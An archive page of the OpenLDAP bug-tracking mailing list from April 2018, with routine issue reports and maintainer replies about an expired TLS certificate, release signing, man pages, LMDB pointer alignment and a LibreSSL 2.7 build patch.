Ok, thanks for your prompt action=2E I confirm it's fixed ;) On April 18, 2018 9:52:08 PM GMT+09:00, Howard Chu <hyc@symas=2Ecom> wrote= : >arekkusu@r42=2Ech wrote: >> Full_Name: Alexandre Rosenberg >> Version: - >> OS: - >> URL: ftp://ftp=2Eopenldap=2Eorg/incoming/ >> Submission from: (NULL) (125=2E30=2E28=2E204) >>=20 >>=20 >> Hello, >>=20 >> TLS certificate for CN=3Dwww=2Eopenldap=2Eorg and many alternative subj= ect >name has >> expired=2E (April 17, 2018, 5:01:56 PM GMT) >>=20 >> I noticed you are using Let's Encrypt=2E I suggest setting up some sort >of >> reminder and/or automated renewal=2E > >Yes, the cron job for auto renewal failed=2E It's updated now=2E >>=20 >> Best, >> Alex >>=20 >> ------------- >>=20 >> Certificate: >> Data: >> Version: 3 (0x2) >> Serial Number: >> 03:d3:9f:63:93:c2:18:aa:89:b2:32:43:13:18:72:ba:81:00 >> Signature Algorithm: sha256WithRSAEncryption >> Issuer: C =3D US, O =3D Let's Encrypt, CN =3D Let's Encrypt >Authority X3 >> Validity >> Not Before: Jan 17 17:01:56 2018 GMT >> Not After : Apr 17 17:01:56 2018 GMT >> Subject: CN =3D www=2Eopenldap=2Eorg >> (=2E=2E=2E) >> =20 >>=20 >>=20

1 0

(ITS#8839) never use md5 and/or sha1, use sha512, file signing
by openldap＠openldap.org 18 Apr '18

18 Apr '18

Full_Name: openldap user Version: OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (2.87.231.80) use a 4096-bit rsa key for signing the release files

1 0

Re: (ITS#8838) TLS cert for www.openldap.org expired
by hyc＠symas.com 18 Apr '18

18 Apr '18

arekkusu(a)r42.ch wrote: > Full_Name: Alexandre Rosenberg > Version: - > OS: - > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (125.30.28.204) > > > Hello, > > TLS certificate for CN=www.openldap.org and many alternative subject name has > expired. (April 17, 2018, 5:01:56 PM GMT) > > I noticed you are using Let's Encrypt. I suggest setting up some sort of > reminder and/or automated renewal. Yes, the cron job for auto renewal failed. It's updated now. > > Best, > Alex > > ------------- > > Certificate: > Data: > Version: 3 (0x2) > Serial Number: > 03:d3:9f:63:93:c2:18:aa:89:b2:32:43:13:18:72:ba:81:00 > Signature Algorithm: sha256WithRSAEncryption > Issuer: C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3 > Validity > Not Before: Jan 17 17:01:56 2018 GMT > Not After : Apr 17 17:01:56 2018 GMT > Subject: CN = www.openldap.org > (...) > > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#8838) TLS cert for www.openldap.org expired
by arekkusu＠r42.ch 18 Apr '18

18 Apr '18

Full_Name: Alexandre Rosenberg Version: - OS: - URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (125.30.28.204) Hello, TLS certificate for CN=www.openldap.org and many alternative subject name has expired. (April 17, 2018, 5:01:56 PM GMT) I noticed you are using Let's Encrypt. I suggest setting up some sort of reminder and/or automated renewal. Best, Alex ------------- Certificate: Data: Version: 3 (0x2) Serial Number: 03:d3:9f:63:93:c2:18:aa:89:b2:32:43:13:18:72:ba:81:00 Signature Algorithm: sha256WithRSAEncryption Issuer: C = US, O = Let's Encrypt, CN = Let's Encrypt Authority X3 Validity Not Before: Jan 17 17:01:56 2018 GMT Not After : Apr 17 17:01:56 2018 GMT Subject: CN = www.openldap.org (...)

1 0

(ITS#8837) fix pw-pbkdf2 man-mage name to get it installed
by peter＠adpm.de 13 Apr '18

13 Apr '18

Full_Name: Peter Marschall Version: 2.4.46 OS: Linux URL: Submission from: (NULL) (217.249.216.145) Hi, although pw-pbkdf2 is not an overlay but a mere module, the existing man page for this module is named slapo-pw-pbkdf2.5. On the other hand, pw-pbkdf2's Makefile correctly mentions the manual page as slapd-pw-pbkdf2.5. Together this results in pw-pbpkdf2's manual page not getting installed despite being available. To fix the issue, please rename contrib/slapd-modules/passwd/pbkdf2/slapo-pw-pbkdf2.5 to contrib/slapd-modules/passwd/pbkdf2/slapd-pw-pbkdf2.5 Thanks in advance Peter

1 0

(ITS#8836) include TOTP into future releases
by peter＠adpm.de 13 Apr '18

13 Apr '18

Full_Name: Peter Marschall Version: 2.4.46 OS: Linux URL: Submission from: (NULL) (217.249.216.145) Hi, although contrib/slapd-modules/passwd/totp/ is part of OpenLDAP's git repository, it is not published as part of recent OpenLDAP releases. Please include contrib/slapd-modules/passwd/totp/ and its contents into future releases of OpenLDAP. Thanks in advance Peter

1 0

(ITS#8835) update admin guide to use "openssl rehash" instead of c_rehash
by ryan＠openldap.org 07 Apr '18

07 Apr '18

Full_Name: Ryan Tandy Version: RE24 OS: Debian URL: Submission from: (NULL) (70.66.128.207) Submitted by: ryan >From https://bugs.debian.org/895091 - > This package is using the c_rehash command which is part of the > openssl package. The c_rehash script is considered by upstream as a > fallback script and will disappear at some point. The recommended way > is to use the "openssl rehash" command instead which appeared in > 1.1.0. Please make sure that this package does not use the c_rehash > command anymore. The "will disappear at some point" wording seems to come from this issue comment: https://github.com/openssl/openssl/issues/5772#issuecomment-376881454 The TLS chapter in the admin guide should be updated to suggest "openssl rehash" instead of c_rehash.

1 0

Re: (ITS#8819) LMDB seg fault with MDB_DUPSORT on -O3
by h.b.furuseth＠usit.uio.no 07 Apr '18

07 Apr '18

On 20/03/2018 19:58, hyc(a)symas.com wrote: > We once discussed padding odd-length keys to make sure the data was still > word-aligned. Maybe should do that in LMDB 1.0. This particular crash is now > fixed in mdb.master. I've left other derefs of *fp alone for the moment but > may need to revisit that later; older ARM and SPARC would probably choke on them. Yes. Also, as this bug demonstrates, compilers will keep finding new ways to break over-aligned pointers even on x86. The way to make sure a compiler cannot deduce that a sub-page is 8- or 4- byte aligned, is to never create such over-aligned pointer values. I.e. pass something like struct MDB_pageinfo instead of MDB_page to anything which may receive a 2-byte-aligned sub-page: typedef struct MDB_pageinfo { uint16_t mi_pad, mi_flags; indx_t mi_lower, mi_upper; # define MI_OVPAGES(mi) (((unsigned)(mi)->mi_upper<<16) + (mi)->mi_lower) } MDB_pageinfo; typedef struct MDB_page { pgno_t mp_pgno; MDB_pageinfo mp_info; indx_t mp_ptrs[1]; } MDB_page;

1 0

Re: (ITS#8832) Fix build with LibreSSL 2.7
by brnrd＠freebsd.org 02 Apr '18

02 Apr '18

--=_32c40086ddbc26d4227512da6e5a0660 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed On 2018-04-02 19:40, openldap-its(a)openldap.org wrote: > *** THIS IS AN AUTOMATICALLY GENERATED REPLY *** For completeness, adding the full patch file. That naming of patches by format-patch is silly... I'm generating a lot of them and all get the same name... --=_32c40086ddbc26d4227512da6e5a0660 Content-Transfer-Encoding: base64 Content-Type: text/x-diff; name=0001-Fix-build-with-LibreSSL-2.7.patch Content-Disposition: attachment; filename=0001-Fix-build-with-LibreSSL-2.7.patch; size=2716 RnJvbSBlOGI4ZGE5ZTQyODQxMzFkZjNhN2VlNjI3MTkzNmU0YWE1YWM1OWNjIE1vbiBTZXAgMTcg MDA6MDA6MDAgMjAwMQpGcm9tOiBCZXJuYXJkIFNwaWwgPGJybnJkQEZyZWVCU0Qub3JnPgpEYXRl OiBNb24sIDIgQXByIDIwMTggMTk6MzE6MDEgKzAyMDAKU3ViamVjdDogW1BBVENIXSBGaXggYnVp bGQgd2l0aCBMaWJyZVNTTCAyLjcKCkxpYnJlU1NMIDIuNyBpbXBsZW1lbnRzIE9wZW5TU0wgMS4x IEFQSQoKU2lnbmVkLW9mZi1ieTogQmVybmFyZCBTcGlsIDxicm5yZEBGcmVlQlNELm9yZz4KLS0t CiBsaWJyYXJpZXMvbGlibGRhcC90bHNfby5jIHwgMTIgKysrKysrLS0tLS0tCiAxIGZpbGUgY2hh bmdlZCwgNiBpbnNlcnRpb25zKCspLCA2IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2xpYnJh cmllcy9saWJsZGFwL3Rsc19vLmMgYi9saWJyYXJpZXMvbGlibGRhcC90bHNfby5jCmluZGV4IDAx MGYzMTFkNy4uZDU5OTY3MmVlIDEwMDY0NAotLS0gYS9saWJyYXJpZXMvbGlibGRhcC90bHNfby5j CisrKyBiL2xpYnJhcmllcy9saWJsZGFwL3Rsc19vLmMKQEAgLTQ3LDcgKzQ3LDcgQEAKICNpbmNs dWRlIDxzc2wuaD4KICNlbmRpZgogCi0jaWYgT1BFTlNTTF9WRVJTSU9OX05VTUJFUiA+PSAweDEw MTAwMDAwCisjaWYgT1BFTlNTTF9WRVJTSU9OX05VTUJFUiA+PSAweDEwMTAwMDAwICYmICEoZGVm aW5lZChMSUJSRVNTTF9WRVJTSU9OX05VTUJFUikgJiYgTElCUkVTU0xfVkVSU0lPTl9OVU1CRVIg PCAweDIwNzAwMDAwKQogI2RlZmluZSBBU04xX1NUUklOR19kYXRhKHgpCUFTTjFfU1RSSU5HX2dl dDBfZGF0YSh4KQogI2VuZGlmCiAKQEAgLTIwNSw3ICsyMDUsNyBAQCB0bHNvX2luaXQoIHZvaWQg KQogCSh2b2lkKSB0bHNvX3NlZWRfUFJORyggbG8tPmxkb190bHNfcmFuZGZpbGUgKTsKICNlbmRp ZgogCi0jaWYgT1BFTlNTTF9WRVJTSU9OX05VTUJFUiA8IDB4MTAxMDAwMDAKKyNpZiBPUEVOU1NM X1ZFUlNJT05fTlVNQkVSIDwgMHgxMDEwMDAwMCB8fCAoZGVmaW5lZChMSUJSRVNTTF9WRVJTSU9O X05VTUJFUikgJiYgTElCUkVTU0xfVkVSU0lPTl9OVU1CRVIgPCAweDIwNzAwMDAwKQogCVNTTF9s b2FkX2Vycm9yX3N0cmluZ3MoKTsKIAlTU0xfbGlicmFyeV9pbml0KCk7CiAJT3BlblNTTF9hZGRf YWxsX2RpZ2VzdHMoKTsKQEAgLTI1Nyw3ICsyNTcsNyBAQCBzdGF0aWMgdm9pZAogdGxzb19jdHhf cmVmKCB0bHNfY3R4ICpjdHggKQogewogCXRsc29fY3R4ICpjID0gKHRsc29fY3R4ICopY3R4Owot I2lmIE9QRU5TU0xfVkVSU0lPTl9OVU1CRVIgPCAweDEwMTAwMDAwCisjaWYgT1BFTlNTTF9WRVJT SU9OX05VTUJFUiA8IDB4MTAxMDAwMDAgfHwgKGRlZmluZWQoTElCUkVTU0xfVkVSU0lPTl9OVU1C RVIpICYmIExJQlJFU1NMX1ZFUlNJT05fTlVNQkVSIDwgMHgyMDcwMDAwMCkKICNkZWZpbmUJU1NM X0NUWF91cF9yZWYoY3R4KQlDUllQVE9fYWRkKCAmKGN0eC0+cmVmZXJlbmNlcyksIDEsIENSWVBU T19MT0NLX1NTTF9DVFggKQogI2VuZGlmCiAJU1NMX0NUWF91cF9yZWYoIGMgKTsKQEAgLTU4Nyw3 ICs1ODcsNyBAQCB0bHNvX3Nlc3Npb25fbXlfZG4oIHRsc19zZXNzaW9uICpzZXNzLCBzdHJ1Y3Qg YmVydmFsICpkZXJfZG4gKQogCWlmICgheCkgcmV0dXJuIExEQVBfSU5WQUxJRF9DUkVERU5USUFM UzsKIAkKIAl4biA9IFg1MDlfZ2V0X3N1YmplY3RfbmFtZSh4KTsKLSNpZiBPUEVOU1NMX1ZFUlNJ T05fTlVNQkVSIDwgMHgxMDEwMDAwMAorI2lmIE9QRU5TU0xfVkVSU0lPTl9OVU1CRVIgPCAweDEw MTAwMDAwIHx8IChkZWZpbmVkKExJQlJFU1NMX1ZFUlNJT05fTlVNQkVSKSAmJiBMSUJSRVNTTF9W RVJTSU9OX05VTUJFUiA8IDB4MjA3MDAwMDApCiAJZGVyX2RuLT5idl9sZW4gPSBpMmRfWDUwOV9O QU1FKCB4biwgTlVMTCApOwogCWRlcl9kbi0+YnZfdmFsID0geG4tPmJ5dGVzLT5kYXRhOwogI2Vs c2UKQEAgLTYyMyw3ICs2MjMsNyBAQCB0bHNvX3Nlc3Npb25fcGVlcl9kbiggdGxzX3Nlc3Npb24g KnNlc3MsIHN0cnVjdCBiZXJ2YWwgKmRlcl9kbiApCiAJCXJldHVybiBMREFQX0lOVkFMSURfQ1JF REVOVElBTFM7CiAKIAl4biA9IFg1MDlfZ2V0X3N1YmplY3RfbmFtZSh4KTsKLSNpZiBPUEVOU1NM X1ZFUlNJT05fTlVNQkVSIDwgMHgxMDEwMDAwMAorI2lmIE9QRU5TU0xfVkVSU0lPTl9OVU1CRVIg PCAweDEwMTAwMDAwIHx8IChkZWZpbmVkKExJQlJFU1NMX1ZFUlNJT05fTlVNQkVSKSAmJiBMSUJS RVNTTF9WRVJTSU9OX05VTUJFUiA8IDB4MjA3MDAwMDApCiAJZGVyX2RuLT5idl9sZW4gPSBpMmRf WDUwOV9OQU1FKCB4biwgTlVMTCApOwogCWRlcl9kbi0+YnZfdmFsID0geG4tPmJ5dGVzLT5kYXRh OwogI2Vsc2UKQEAgLTk1OSw3ICs5NTksNyBAQCBzdHJ1Y3QgdGxzX2RhdGEgewogCVNvY2tidWZf SU9fRGVzYwkJKnNiaW9kOwogfTsKIAotI2lmIE9QRU5TU0xfVkVSU0lPTl9OVU1CRVIgPCAweDEw MTAwMDAwCisjaWYgT1BFTlNTTF9WRVJTSU9OX05VTUJFUiA8IDB4MTAxMDAwMDAgfHwgKGRlZmlu ZWQoTElCUkVTU0xfVkVSU0lPTl9OVU1CRVIpICYmIExJQlJFU1NMX1ZFUlNJT05fTlVNQkVSIDwg MHgyMDcwMDAwMCkKICNkZWZpbmUgQklPX3NldF9pbml0KGIsIHgpCWItPmluaXQgPSB4CiAjZGVm aW5lIEJJT19zZXRfZGF0YShiLCB4KQliLT5wdHIgPSB4CiAjZGVmaW5lIEJJT19jbGVhcl9mbGFn cyhiLCB4KQliLT5mbGFncyAmPSB+KHgpCi0tIAoyLjE2LjMKCg== --=_32c40086ddbc26d4227512da6e5a0660--

1 0

(ITS#8832) Fix build with LibreSSL 2.7
by brnrd＠FreeBSD.org 02 Apr '18

02 Apr '18

Full_Name: Bernard Spil Version: 2.4.45 OS: FreeBSD 11.1-p8 amd64 URL: https://brnrd.eu/bsd/0001-Fix-build-with-LibreSSL-2.7.patch Submission from: (NULL) (193.164.217.85) LibreSSL 2.7 adds OpenSSL 1.1 API which currently leads to conflicts on method names. In 6 months time, support for LibreSSL 2.6 will stop, which would remove all the LIBRESSL_VERSION_NUMBER checks. With kind regards, Bernard

1 0

Re: (ITS#8831) Database flags reset in mdb_load
by hyc＠symas.com 02 Apr '18

02 Apr '18

gnoe(a)symas.com wrote: > Full_Name: Gregory Noe > Version: 2.4.46 > OS: All > URL: ftp://ftp.openldap.org/incoming/mdb_load-dbflag-patch.c > Submission from: (NULL) (63.142.209.94) > > > The flags variable set by the readhdr function in mdb_load is getting set to 0 > before the mdb database is opened for writing. The submitted patch fixes the > issue. > > > --- > Symas Corporation hereby place the following modifications to OpenLDAP Software > (and only these modifications) into the public domain. Hence, these > modifications may be freely used and/or redistributed for any purpose with or > without attribution and/or other notice. > --- Thanks for the report. A slightly different patch was used. Fixed now in mdb.master. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#8831) Database flags reset in mdb_load
by gnoe＠symas.com 02 Apr '18

02 Apr '18

Full_Name: Gregory Noe Version: 2.4.46 OS: All URL: ftp://ftp.openldap.org/incoming/mdb_load-dbflag-patch.c Submission from: (NULL) (63.142.209.94) The flags variable set by the readhdr function in mdb_load is getting set to 0 before the mdb database is opened for writing. The submitted patch fixes the issue. --- Symas Corporation hereby place the following modifications to OpenLDAP Software (and only these modifications) into the public domain. Hence, these modifications may be freely used and/or redistributed for any purpose with or without attribution and/or other notice. ---

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs